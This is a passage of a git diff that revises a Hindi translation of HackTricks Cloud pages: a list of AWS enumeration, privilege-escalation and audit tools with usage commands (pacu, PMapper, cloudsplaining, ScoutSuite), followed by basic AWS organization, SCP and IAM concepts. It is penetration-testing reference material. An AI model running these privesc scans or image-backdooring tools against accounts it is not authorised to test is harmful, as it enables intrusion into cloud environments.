पते) प्राप्त करने के लिए है**। -- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper आपको आपके Amazon Web Services (AWS) वातावरण का विश्लेषण करने में मदद करता है। इसमें अब बहुत अधिक कार्यक्षमता है, जिसमें सुरक्षा मुद्दों के लिए ऑडिटिंग शामिल है। +- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper आपको आपके Amazon Web Services (AWS) वातावरण का विश्लेषण करने में मदद करता है। इसमें अब सुरक्षा मुद्दों के लिए ऑडिटिंग सहित बहुत अधिक कार्यक्षमता है। ```bash # Installation steps in github # Create a config.json file with the aws info, like: @@ -224,7 +224,7 @@ python3 cloudmapper.py public --accounts dev python cloudmapper.py prepare #Prepare webserver python cloudmapper.py webserver #Show webserver ``` -- [**cartography**](https://github.com/lyft/cartography): कार्टोग्राफी एक पायथन उपकरण है जो बुनियादी ढांचे के संपत्तियों और उनके बीच के संबंधों को एक सहज ग्राफ दृश्य में समेकित करता है, जो एक Neo4j डेटाबेस द्वारा संचालित होता है। +- [**cartography**](https://github.com/lyft/cartography): Cartography एक Python उपकरण है जो बुनियादी ढांचे के संपत्तियों और उनके बीच के संबंधों को एक सहज ग्राफ दृश्य में समेकित करता है, जो Neo4j डेटाबेस द्वारा संचालित है। ```bash # Install pip install cartography @@ -233,14 +233,14 @@ pip install cartography # Get AWS info AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j ``` -- [**starbase**](https://github.com/JupiterOne/starbase): Starbase सेवाओं और प्रणालियों से संपत्तियों और संबंधों को एकत्र करता है, जिसमें क्लाउड बुनियादी ढांचा, SaaS अनुप्रयोग, सुरक्षा नियंत्रण और अधिक शामिल हैं, जो Neo4j डेटाबेस द्वारा समर्थित एक सहज ग्राफ दृश्य में है। +- [**starbase**](https://github.com/JupiterOne/starbase): Starbase सेवाओं और प्रणालियों से संपत्तियों और संबंधों को एक सहज ग्राफ दृश्य में एकत्र करता है, जिसमें क्लाउड अवसंरचना, SaaS अनुप्रयोग, सुरक्षा नियंत्रण और अधिक शामिल हैं, जो Neo4j डेटाबेस द्वारा समर्थित है। - [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (python2 का उपयोग करता है) यह एक उपकरण है जो एक खाते में बनाए गए सभी [**AWS संसाधनों**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) को **खोजने** की कोशिश करता है। - [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): यह एक उपकरण है जो एक AWS खाते से जुड़े सभी सार्वजनिक IP पते (IPv4/IPv6 दोनों) को **प्राप्त** करता है। ### Privesc & Exploiting - [**SkyArk**](https://github.com/cyberark/SkyArk)**:** स्कैन किए गए AWS वातावरण में सबसे विशेषाधिकार प्राप्त उपयोगकर्ताओं का पता लगाएं, जिसमें AWS Shadow Admins शामिल हैं। यह powershell का उपयोग करता है। आप [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1) में **`Check-PrivilegedPolicy`** फ़ंक्शन में **विशेषाधिकार प्राप्त नीतियों** की परिभाषा पा सकते हैं। -- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu एक ओपन-सोर्स **AWS शोषण ढांचा** है, जिसे क्लाउड वातावरण के खिलाफ आक्रामक सुरक्षा परीक्षण के लिए डिज़ाइन किया गया है। यह **enumerate** कर सकता है, **miss-configurations** खोज सकता है और उन्हें **exploit** कर सकता है। आप [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) में **`user_escalation_methods`** dict के अंदर **विशेषाधिकार प्राप्त अनुमतियों** की परिभाषा पा सकते हैं। +- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu एक ओपन-सोर्स **AWS शोषण ढांचा** है, जिसे क्लाउड वातावरण के खिलाफ आक्रामक सुरक्षा परीक्षण के लिए डिज़ाइन किया गया है। यह **enumerate** कर सकता है, **miss-configurations** खोज सकता है और उन्हें **exploit** कर सकता है। आप **`user_escalation_methods`** dict के अंदर [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) में **विशेषाधिकार प्राप्त अनुमतियों** की परिभाषा पा सकते हैं। - ध्यान दें कि pacu **केवल आपके अपने privescs पथों** की जांच करता है (खाते के स्तर पर नहीं)। ```bash # Install @@ -255,7 +255,7 @@ pacu > exec iam__enum_permissions # Get permissions > exec iam__privesc_scan # List privileged permissions ``` -- [**PMapper**](https://github.com/nccgroup/PMapper): प्रिंसिपल मैपर (PMapper) एक स्क्रिप्ट और पुस्तकालय है जो AWS खाते या AWS संगठन के लिए AWS पहचान और पहुंच प्रबंधन (IAM) की कॉन्फ़िगरेशन में जोखिमों की पहचान करने के लिए है। यह एक खाते में विभिन्न IAM उपयोगकर्ताओं और भूमिकाओं को एक निर्देशित ग्राफ के रूप में मॉडल करता है, जो **privilege escalation** के लिए जांच और एक हमलावर द्वारा संसाधन या क्रिया तक पहुंच प्राप्त करने के लिए वैकल्पिक पथों की जांच करने की अनुमति देता है। आप **privesc** पथों को खोजने के लिए उपयोग की जाने वाली **permissions** की जांच कर सकते हैं जो फ़ाइल नामों में `_edges.py` के साथ समाप्त होती हैं [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) +- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) एक स्क्रिप्ट और पुस्तकालय है जो AWS खाते या AWS संगठन के लिए AWS पहचान और पहुंच प्रबंधन (IAM) की कॉन्फ़िगरेशन में जोखिमों की पहचान करने के लिए है। यह एक खाते में विभिन्न IAM उपयोगकर्ताओं और भूमिकाओं को एक निर्देशित ग्राफ के रूप में मॉडल करता है, जो **privilege escalation** के लिए जांच और एक हमलावर द्वारा संसाधन या क्रिया तक पहुंच प्राप्त करने के लिए वैकल्पिक पथों की जांच करने की अनुमति देता है। आप **privesc** पथों को खोजने के लिए उपयोग की जाने वाली **permissions** को [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) में `_edges.py` के साथ समाप्त होने वाले फ़ाइल नामों में देख सकते हैं। ```bash # Install pip install principalmapper @@ -277,8 +277,8 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins pmapper --profile dev orgs create pmapper --profile dev orgs display ``` -- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining एक AWS IAM सुरक्षा मूल्यांकन उपकरण है जो न्यूनतम विशेषाधिकार के उल्लंघनों की पहचान करता है और एक जोखिम-प्राथमिकता वाली HTML रिपोर्ट उत्पन्न करता है।\ -यह आपको संभावित **over privileged** ग्राहक, inline और aws **policies** दिखाएगा और कौन से **principals को उन तक पहुंच है**। (यह न केवल privesc की जांच करता है बल्कि अन्य प्रकार की दिलचस्प अनुमतियों की भी जांच करता है, उपयोग करने की सिफारिश की जाती है)। +- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining एक AWS IAM सुरक्षा मूल्यांकन उपकरण है जो न्यूनतम विशेषाधिकार के उल्लंघनों की पहचान करता है और एक जोखिम-प्राथमिकता वाला HTML रिपोर्ट उत्पन्न करता है।\ +यह आपको संभावित **अधिक विशेषाधिकार** वाले ग्राहक, इनलाइन और aws **नीतियों** को दिखाएगा और कौन से **प्रिंसिपल्स को उन तक पहुंच है**। (यह न केवल प्रिवेस्क के लिए जांच करता है बल्कि अन्य प्रकार की दिलचस्प अनुमतियों के लिए भी, उपयोग करने की सिफारिश की जाती है)। ```bash # Install pip install cloudsplaining @@ -290,13 +290,13 @@ cloudsplaining download --profile dev # Analyze the IAM policies cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/ ``` -- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack AWS खातों का मूल्यांकन करता है **उपडोमेन हाइजैकिंग कमजोरियों** के लिए, जो कि अलग-अलग Route53 और CloudFront कॉन्फ़िगरेशन के परिणामस्वरूप होती हैं। -- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): ECR रिपॉजिटरी की सूची -> ECR रिपॉजिटरी खींचें -> इसे बैकडोर करें -> बैकडोर की गई छवि पुश करें -- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag एक उपकरण है जो **सार्वजनिक Elastic Block Storage (EBS) स्नैपशॉट्स** के माध्यम से उन रहस्यों की **खोज** करता है जो गलती से छोड़े जा सकते हैं। +- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack AWS खातों का मूल्यांकन करता है **सबडोमेन हाइजैकिंग कमजोरियों** के लिए, जो कि अलग-अलग Route53 और CloudFront कॉन्फ़िगरेशन के परिणामस्वरूप होती हैं। +- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): ECR रिपोजिटरी की सूची -> ECR रिपोजिटरी खींचें -> बैकडोर करें -> बैकडोर की गई छवि पुश करें +- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag एक उपकरण है जो **सार्वजनिक Elastic Block Storage (EBS) स्नैपशॉट्स** के माध्यम से उन रहस्यों की **खोज** करता है जो शायद गलती से छोड़ दिए गए हों। ### ऑडिट -- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit द्वारा Aqua एक ओपन-सोर्स प्रोजेक्ट है जिसे **क्लाउड इन्फ्रास्ट्रक्चर** खातों में **सुरक्षा जोखिमों** का पता लगाने के लिए डिज़ाइन किया गया है, जिसमें शामिल हैं: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), और GitHub (यह ShadowAdmins की तलाश नहीं करता)। +- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** Aqua द्वारा CloudSploit एक ओपन-सोर्स प्रोजेक्ट है जिसे **क्लाउड इन्फ्रास्ट्रक्चर** खातों में **सुरक्षा जोखिमों** का पता लगाने के लिए डिज़ाइन किया गया है, जिसमें शामिल हैं: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), और GitHub (यह ShadowAdmins की तलाश नहीं करता)। ```bash ./index.js --csv=file.csv --console=table --config ./config.js @@ -314,11 +314,11 @@ prowler -v prowler prowler aws --profile custom-profile [-M csv json json-asff html] ``` -- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox आपको अपरिचित क्लाउड वातावरण में स्थिति की जागरूकता प्राप्त करने में मदद करता है। यह एक ओपन-सोर्स कमांड लाइन टूल है जिसे पेनटेस्टिंग करने वालों और अन्य आक्रामक सुरक्षा पेशेवरों को क्लाउड अवसंरचना में शोषण योग्य हमले के रास्ते खोजने में मदद करने के लिए बनाया गया है। +- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox आपको अपरिचित क्लाउड वातावरण में स्थिति की जागरूकता प्राप्त करने में मदद करता है। यह एक ओपन-सोर्स कमांड लाइन टूल है जिसे पेनिट्रेशन टेस्टर्स और अन्य आक्रामक सुरक्षा पेशेवरों को क्लाउड इन्फ्रास्ट्रक्चर में शोषण योग्य हमले के रास्ते खोजने में मदद करने के लिए बनाया गया है। ```bash cloudfox aws --profile [profile-name] all-checks ``` -- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite एक ओपन सोर्स मल्टी-क्लाउड सुरक्षा-ऑडिटिंग उपकरण है, जो क्लाउड वातावरण की सुरक्षा स्थिति का आकलन करने में सक्षम बनाता है। +- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): स्काउट सूट एक ओपन सोर्स मल्टी-क्लाउड सुरक्षा-ऑडिटिंग टूल है, जो क्लाउड वातावरण की सुरक्षा स्थिति का आकलन करने में सक्षम बनाता है। ```bash # Install virtualenv -p python3 venv @@ -334,11 +334,11 @@ scout aws -p dev ### निरंतर ऑडिट -- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): क्लाउड कस्टोडियन सार्वजनिक क्लाउड खातों और संसाधनों का प्रबंधन करने के लिए एक नियम इंजन है। यह उपयोगकर्ताओं को **एक अच्छी तरह से प्रबंधित क्लाउड अवसंरचना सक्षम करने के लिए नीतियों को परिभाषित करने** की अनुमति देता है, जो सुरक्षित और लागत अनुकूलित दोनों है। यह संगठनों के पास मौजूद कई अस्थायी स्क्रिप्टों को एक हल्के और लचीले उपकरण में समेकित करता है, जिसमें एकीकृत मैट्रिक्स और रिपोर्टिंग होती है। -- [**pacbot**](https://github.com/tmobile/pacbot)**: नीति के रूप में कोड बॉट (PacBot)** एक प्लेटफ़ॉर्म है **निरंतर अनुपालन निगरानी, अनुपालन रिपोर्टिंग और सुरक्षा स्वचालन के लिए क्लाउड**। PacBot में, सुरक्षा और अनुपालन नीतियाँ कोड के रूप में लागू की जाती हैं। PacBot द्वारा खोजे गए सभी संसाधनों का इन नीतियों के खिलाफ मूल्यांकन किया जाता है ताकि नीति के अनुपालन का आकलन किया जा सके। PacBot **स्वचालित-फिक्स** ढांचा नीति उल्लंघनों का स्वतः उत्तर देने की क्षमता प्रदान करता है, पूर्व निर्धारित क्रियाएँ करके। -- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert एक सर्वर रहित, **वास्तविक समय** डेटा विश्लेषण ढांचा है जो आपको **किसी भी वातावरण से डेटा को ग्रहण, विश्लेषण और अलर्ट** करने में सक्षम बनाता है, **डेटा स्रोतों और अलर्टिंग लॉजिक का उपयोग करते हुए जिसे आप परिभाषित करते हैं**। कंप्यूटर सुरक्षा टीमें घटना पहचान और प्रतिक्रिया के लिए हर दिन टेराबाइट्स लॉग डेटा को स्कैन करने के लिए StreamAlert का उपयोग करती हैं। +- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian सार्वजनिक क्लाउड खातों और संसाधनों का प्रबंधन करने के लिए एक नियम इंजन है। यह उपयोगकर्ताओं को **एक अच्छी तरह से प्रबंधित क्लाउड अवसंरचना सक्षम करने के लिए नीतियों को परिभाषित करने** की अनुमति देता है, जो सुरक्षित और लागत अनुकूलित दोनों है। यह संगठनों के पास मौजूद कई अस्थायी स्क्रिप्टों को एक हल्के और लचीले उपकरण में समेकित करता है, जिसमें एकीकृत मैट्रिक्स और रिपोर्टिंग होती है। +- [**pacbot**](https://github.com/tmobile/pacbot)**: नीति के रूप में कोड बॉट (PacBot)** एक प्लेटफ़ॉर्म है **निरंतर अनुपालन निगरानी, अनुपालन रिपोर्टिंग और क्लाउड के लिए सुरक्षा स्वचालन**। PacBot में, सुरक्षा और अनुपालन नीतियाँ कोड के रूप में लागू की जाती हैं। PacBot द्वारा खोजे गए सभी संसाधनों का मूल्यांकन इन नीतियों के खिलाफ किया जाता है ताकि नीति के अनुपालन का आकलन किया जा सके। PacBot **स्वचालित-फिक्स** ढांचा नीति उल्लंघनों का स्वतः उत्तर देने की क्षमता प्रदान करता है, पूर्व निर्धारित क्रियाएँ करके। +- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert एक सर्वरलेस, **वास्तविक समय** डेटा विश्लेषण ढांचा है जो आपको **किसी भी वातावरण से डेटा को ग्रहण, विश्लेषण और अलर्ट** करने में सक्षम बनाता है, **डेटा स्रोतों और अलर्टिंग लॉजिक का उपयोग करते हुए जिसे आप परिभाषित करते हैं**। कंप्यूटर सुरक्षा टीमें हर दिन घटना पहचान और प्रतिक्रिया के लिए टेराबाइट्स लॉग डेटा को स्कैन करने के लिए StreamAlert का उपयोग करती हैं। -## DEBUG: AWS cli अनुरोधों को कैप्चर करें +## DEBUG: AWS cli अनुरोध कैप्चर करें ```bash # Set proxy export HTTP_PROXY=http://localhost:8080 diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md index c66840046..5ad71d4d3 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md @@ -1,58 +1,58 @@ -# AWS - Basic Information +# AWS - मूल जानकारी {{#include ../../../banners/hacktricks-training.md}} -## Organization Hierarchy +## संगठन पदानुक्रम ![](<../../../images/image (151).png>) -### Accounts +### खाते -AWS में एक **root account** है, जो आपके **organization** के लिए सभी खातों का **parent container** है। हालांकि, आपको संसाधनों को तैनात करने के लिए उस खाते का उपयोग करने की आवश्यकता नहीं है, आप **अलग-अलग AWS** बुनियादी ढांचे को अलग करने के लिए **अन्य खाते बना सकते हैं**। +AWS में एक **रूट खाता** होता है, जो आपके **संगठन** के सभी खातों के लिए **माता-पिता कंटेनर** है। हालाँकि, आपको संसाधनों को तैनात करने के लिए उस खाते का उपयोग करने की आवश्यकता नहीं है, आप **विभिन्न AWS** अवसंरचनाओं को अलग करने के लिए **अन्य खाते बना सकते हैं**। -यह **security** के दृष्टिकोण से बहुत दिलचस्प है, क्योंकि **एक खाता अन्य खाते के संसाधनों तक पहुँच नहीं पाएगा** (जब तक कि पुल विशेष रूप से बनाए नहीं गए हैं), इसलिए इस तरह आप तैनाती के बीच सीमाएँ बना सकते हैं। +यह **सुरक्षा** के दृष्टिकोण से बहुत दिलचस्प है, क्योंकि **एक खाता अन्य खाते के संसाधनों तक पहुँच नहीं पाएगा** (जब तक कि पुल विशेष रूप से बनाए नहीं गए हों), इसलिए इस तरह आप तैनातियों के बीच सीमाएँ बना सकते हैं। -इसलिए, एक संगठन में **दो प्रकार के खाते** होते हैं (हम AWS खातों की बात कर रहे हैं और उपयोगकर्ता खातों की नहीं): एकल खाता जिसे प्रबंधन खाता के रूप में नामित किया गया है, और एक या अधिक सदस्य खाते। +इसलिए, एक संगठन में **दो प्रकार के खाते** होते हैं (हम AWS खातों की बात कर रहे हैं, उपयोगकर्ता खातों की नहीं): एक एकल खाता जिसे प्रबंधन खाता के रूप में नामित किया गया है, और एक या अधिक सदस्य खाते। -- **प्रबंधन खाता (root account)** वह खाता है जिसका उपयोग आप संगठन बनाने के लिए करते हैं। संगठन के प्रबंधन खाते से, आप निम्नलिखित कर सकते हैं: +- **प्रबंधन खाता (रूट खाता)** वह खाता है जिसका उपयोग आप संगठन बनाने के लिए करते हैं। संगठन के प्रबंधन खाते से, आप निम्नलिखित कर सकते हैं: -- संगठन में खाते बनाएं -- संगठन में अन्य मौजूदा खातों को आमंत्रित करें -- संगठन से खातों को हटाएं -- आमंत्रण प्रबंधित करें -- संगठन के भीतर संस्थाओं (roots, OUs, या खातों) पर नीतियाँ लागू करें -- संगठन में सभी खातों के बीच सेवा कार्यक्षमता प्रदान करने के लिए समर्थित AWS सेवाओं के साथ एकीकरण सक्षम करें। -- आप इस root account/organization को बनाने के लिए उपयोग किए गए ईमेल और पासवर्ड का उपयोग करके root उपयोगकर्ता के रूप में लॉगिन करना संभव है। +- संगठन में खाते बनाना +- संगठन में अन्य मौजूदा खातों को आमंत्रित करना +- संगठन से खातों को हटाना +- आमंत्रण प्रबंधित करना +- संगठन के भीतर संस्थाओं (रूट, OU, या खाते) पर नीतियाँ लागू करना +- संगठन में सभी खातों के बीच सेवा कार्यक्षमता प्रदान करने के लिए समर्थित AWS सेवाओं के साथ एकीकरण सक्षम करना। +- आप इस रूट खाते/संगठन को बनाने के लिए उपयोग किए गए ईमेल और पासवर्ड का उपयोग करके रूट उपयोगकर्ता के रूप में लॉगिन कर सकते हैं। -प्रबंधन खाते के पास **payer account** की जिम्मेदारियाँ होती हैं और यह सदस्य खातों द्वारा उत्पन्न सभी शुल्कों का भुगतान करने के लिए जिम्मेदार होता है। आप एक संगठन के प्रबंधन खाते को बदल नहीं सकते। +प्रबंधन खाते की **भुगतानकर्ता खाते की जिम्मेदारियाँ** होती हैं और यह सदस्य खातों द्वारा उत्पन्न सभी शुल्कों का भुगतान करने के लिए जिम्मेदार होता है। आप संगठन के प्रबंधन खाते को बदल नहीं सकते। - **सदस्य खाते** संगठन में बाकी सभी खातों का निर्माण करते हैं। एक खाता एक समय में केवल एक संगठन का सदस्य हो सकता है। आप एक खाते पर नियंत्रण लागू करने के लिए एक नीति संलग्न कर सकते हैं केवल उसी एक खाते पर। - सदस्य खातों को **एक मान्य ईमेल पता** का उपयोग करना चाहिए और एक **नाम** हो सकता है, सामान्यतः वे बिलिंग का प्रबंधन नहीं कर पाएंगे (लेकिन उन्हें इसके लिए पहुँच दी जा सकती है)। ``` aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com ``` -### **Organization Units** +### **संगठन इकाइयाँ** -खातों को **Organization Units (OU)** में समूहित किया जा सकता है। इस तरह, आप उस Organization Unit के लिए **policies** बना सकते हैं जो **सभी बच्चों के खातों पर लागू होंगी**। ध्यान दें कि एक OU के पास अन्य OUs भी हो सकते हैं। +खातों को **संगठन इकाइयों (OU)** में समूहित किया जा सकता है। इस तरह, आप संगठन इकाई के लिए **नीतियाँ** बना सकते हैं जो **सभी बच्चों के खातों पर लागू होंगी**। ध्यान दें कि एक OU के पास अन्य OUs भी हो सकते हैं। ```bash # You can get the root id from aws organizations list-roots aws organizations create-organizational-unit --parent-id r-lalala --name TestOU ``` -### Service Control Policy (SCP) +### सेवा नियंत्रण नीति (SCP) -एक **सेवा नियंत्रण नीति (SCP)** एक नीति है जो उन सेवाओं और क्रियाओं को निर्दिष्ट करती है जिन्हें उपयोगकर्ता और भूमिकाएँ उन खातों में उपयोग कर सकते हैं जिन पर SCP प्रभाव डालता है। SCPs **IAM** अनुमतियों की नीतियों के समान हैं, सिवाय इसके कि वे **कोई अनुमतियाँ नहीं देतीं**। इसके बजाय, SCPs एक संगठन, संगठनात्मक इकाई (OU), या खाते के लिए **अधिकतम अनुमतियों** को निर्दिष्ट करती हैं। जब आप अपने संगठन की जड़ या एक OU पर SCP संलग्न करते हैं, तो **SCP सदस्य खातों में संस्थाओं के लिए अनुमतियों को सीमित करता है**। +एक **सेवा नियंत्रण नीति (SCP)** एक नीति है जो उन सेवाओं और क्रियाओं को निर्दिष्ट करती है जिन्हें उपयोगकर्ता और भूमिकाएँ उन खातों में उपयोग कर सकते हैं जिन पर SCP प्रभाव डालती है। SCPs **IAM** अनुमतियों की नीतियों के समान हैं, सिवाय इसके कि वे **कोई अनुमतियाँ नहीं देतीं**। इसके बजाय, SCPs एक संगठन, संगठनात्मक इकाई (OU), या खाते के लिए **अधिकतम अनुमतियों** को निर्दिष्ट करती हैं। जब आप अपने संगठन की जड़ या एक OU पर SCP संलग्न करते हैं, तो **SCP सदस्य खातों में संस्थाओं के लिए अनुमतियों को सीमित करती है**। -यह **एकमात्र तरीका है कि** **यहाँ तक कि रूट उपयोगकर्ता को भी कुछ करने से रोका जा सकता है**। उदाहरण के लिए, इसका उपयोग उपयोगकर्ताओं को CloudTrail को निष्क्रिय करने या बैकअप हटाने से रोकने के लिए किया जा सकता है।\ +यह एकमात्र तरीका है कि **यहां तक कि रूट उपयोगकर्ता को कुछ करने से रोका जा सकता है**। उदाहरण के लिए, इसका उपयोग उपयोगकर्ताओं को CloudTrail को निष्क्रिय करने या बैकअप हटाने से रोकने के लिए किया जा सकता है।\ इससे बचने का एकमात्र तरीका यह है कि **मास्टर खाता** भी समझौता किया जाए जो SCPs को कॉन्फ़िगर करता है (मास्टर खाता को अवरुद्ध नहीं किया जा सकता)। > [!WARNING] -> ध्यान दें कि **SCPs केवल खाते में प्रिंसिपल को प्रतिबंधित करती हैं**, इसलिए अन्य खाते प्रभावित नहीं होते। इसका मतलब है कि एक SCP `s3:GetObject` को अस्वीकार करने से लोगों को आपके खाते में **एक सार्वजनिक S3 बकेट** तक पहुँचने से नहीं रोका जाएगा। +> ध्यान दें कि **SCPs केवल खाते में प्रिंसिपल को प्रतिबंधित करती हैं**, इसलिए अन्य खाते प्रभावित नहीं होते। इसका मतलब है कि SCP द्वारा `s3:GetObject` को अस्वीकार करने से लोगों को आपके खाते में **एक सार्वजनिक S3 बकेट** तक पहुँचने से नहीं रोका जाएगा। SCP उदाहरण: - रूट खाते को पूरी तरह से अस्वीकार करें - केवल विशिष्ट क्षेत्रों की अनुमति दें -- केवल श्वेतसूचीबद्ध सेवाओं की अनुमति दें +- केवल श्वेत-पत्रित सेवाओं की अनुमति दें - GuardDuty, CloudTrail, और S3 सार्वजनिक ब्लॉक एक्सेस को निष्क्रिय करने से रोकें - सुरक्षा/घटना प्रतिक्रिया भूमिकाओं को हटाने या @@ -66,43 +66,43 @@ SCP उदाहरण: ### ARN -**Amazon Resource Name** वह **विशिष्ट नाम** है जो AWS के अंदर हर संसाधन का होता है, यह इस तरह से बना होता है: +**Amazon Resource Name** AWS के अंदर हर संसाधन का **विशिष्ट नाम** है, यह इस प्रकार से बना है: ``` arn:partition:service:region:account-id:resource-type/resource-id arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env ``` -Note that there are 4 partitions in AWS but only 3 ways to call them: +ध्यान दें कि AWS में 4 विभाजन हैं लेकिन उन्हें कॉल करने के केवल 3 तरीके हैं: - AWS Standard: `aws` - AWS China: `aws-cn` - AWS US public Internet (GovCloud): `aws-us-gov` - AWS Secret (US Classified): `aws` -## IAM - पहचान और पहुँच प्रबंधन +## IAM - पहचान और पहुंच प्रबंधन -IAM वह सेवा है जो आपको अपने AWS खाते के भीतर **प्रमाणीकरण**, **अधिकार** और **पहुँच नियंत्रण** प्रबंधित करने की अनुमति देती है। +IAM वह सेवा है जो आपको अपने AWS खाते के भीतर **प्रमाणीकरण**, **अधिकार** और **पहुंच नियंत्रण** प्रबंधित करने की अनुमति देती है। - **प्रमाणीकरण** - एक पहचान को परिभाषित करने और उस पहचान के सत्यापन की प्रक्रिया। इस प्रक्रिया को पहचान और सत्यापन में विभाजित किया जा सकता है। -- **अधिकार** - यह निर्धारित करता है कि एक पहचान एक प्रणाली के भीतर क्या पहुँच सकती है जब इसे प्रमाणित किया गया हो। -- **पहुँच नियंत्रण** - सुरक्षित संसाधन तक पहुँच कैसे दी जाती है, इसकी विधि और प्रक्रिया। +- **अधिकार** - यह निर्धारित करता है कि एक पहचान एक प्रणाली के भीतर क्या एक्सेस कर सकती है जब इसे इसके लिए प्रमाणित किया गया हो। +- **पहुंच नियंत्रण** - यह सुरक्षित संसाधन तक पहुंच कैसे दी जाती है, इसकी विधि और प्रक्रिया -IAM को इसकी क्षमता द्वारा परिभाषित किया जा सकता है कि यह आपके AWS खाते के भीतर पहचान के प्रमाणीकरण, अधिकार और पहुँच नियंत्रण तंत्रों का प्रबंधन, नियंत्रण और शासन कर सकता है। +IAM को इसकी पहचान के लिए आपके AWS खाते के भीतर संसाधनों के लिए प्रमाणीकरण, अधिकार और पहुंच नियंत्रण तंत्रों को प्रबंधित, नियंत्रित और शासित करने की क्षमता द्वारा परिभाषित किया जा सकता है। ### [AWS खाता रूट उपयोगकर्ता](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) -जब आप पहली बार एक Amazon Web Services (AWS) खाता बनाते हैं, तो आप एकल साइन-इन पहचान के साथ शुरू करते हैं जिसके पास खाते में सभी AWS सेवाओं और संसाधनों तक **पूर्ण पहुँच** होती है। यह AWS खाता _**रूट उपयोगकर्ता**_ है और इसे **उस ईमेल पते और पासवर्ड के साथ साइन इन करके एक्सेस किया जाता है जिसका उपयोग आपने खाता बनाने के लिए किया था**। +जब आप पहली बार एक Amazon Web Services (AWS) खाता बनाते हैं, तो आप एक सिंगल साइन-इन पहचान के साथ शुरू करते हैं जिसके पास खाते में सभी AWS सेवाओं और संसाधनों तक **पूर्ण पहुंच** होती है। यह AWS खाता _**रूट उपयोगकर्ता**_ है और इसे **उस ईमेल पते और पासवर्ड के साथ साइन इन करके एक्सेस किया जाता है जिसका उपयोग आपने खाता बनाने के लिए किया था**। ध्यान दें कि एक नया **व्यवस्थापक उपयोगकर्ता** के पास **रूट उपयोगकर्ता की तुलना में कम अनुमतियाँ होंगी**। -सुरक्षा के दृष्टिकोण से, अन्य उपयोगकर्ताओं को बनाना और इस एक का उपयोग करने से बचना अनुशंसित है। +सुरक्षा के दृष्टिकोण से, अन्य उपयोगकर्ताओं को बनाना और इस उपयोगकर्ता का उपयोग करने से बचना अनुशंसित है। ### [IAM उपयोगकर्ता](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) -एक IAM _उपयोगकर्ता_ एक इकाई है जिसे आप AWS में **उस व्यक्ति या एप्लिकेशन का प्रतिनिधित्व करने के लिए बनाते हैं** जो इसका उपयोग **AWS के साथ बातचीत करने के लिए** करता है। AWS में एक उपयोगकर्ता का नाम और क्रेडेंशियल्स (पासवर्ड और दो तक पहुँच कुंजी) होता है। +एक IAM _उपयोगकर्ता_ एक इकाई है जिसे आप AWS में **उस व्यक्ति या एप्लिकेशन का प्रतिनिधित्व करने के लिए बनाते हैं** जो इसका उपयोग **AWS के साथ बातचीत करने के लिए** करता है। AWS में एक उपयोगकर्ता का नाम और क्रेडेंशियल्स (पासवर्ड और अधिकतम दो एक्सेस कुंजी) होते हैं। -जब आप एक IAM उपयोगकर्ता बनाते हैं, तो आप इसे **अनुमतियाँ** प्रदान करते हैं, इसे एक **उपयोगकर्ता समूह का सदस्य बनाकर** जो उचित अनुमति नीतियों से जुड़ा होता है (अनुशंसित), या **सीधे उपयोगकर्ता पर नीतियाँ संलग्न करके**। +जब आप एक IAM 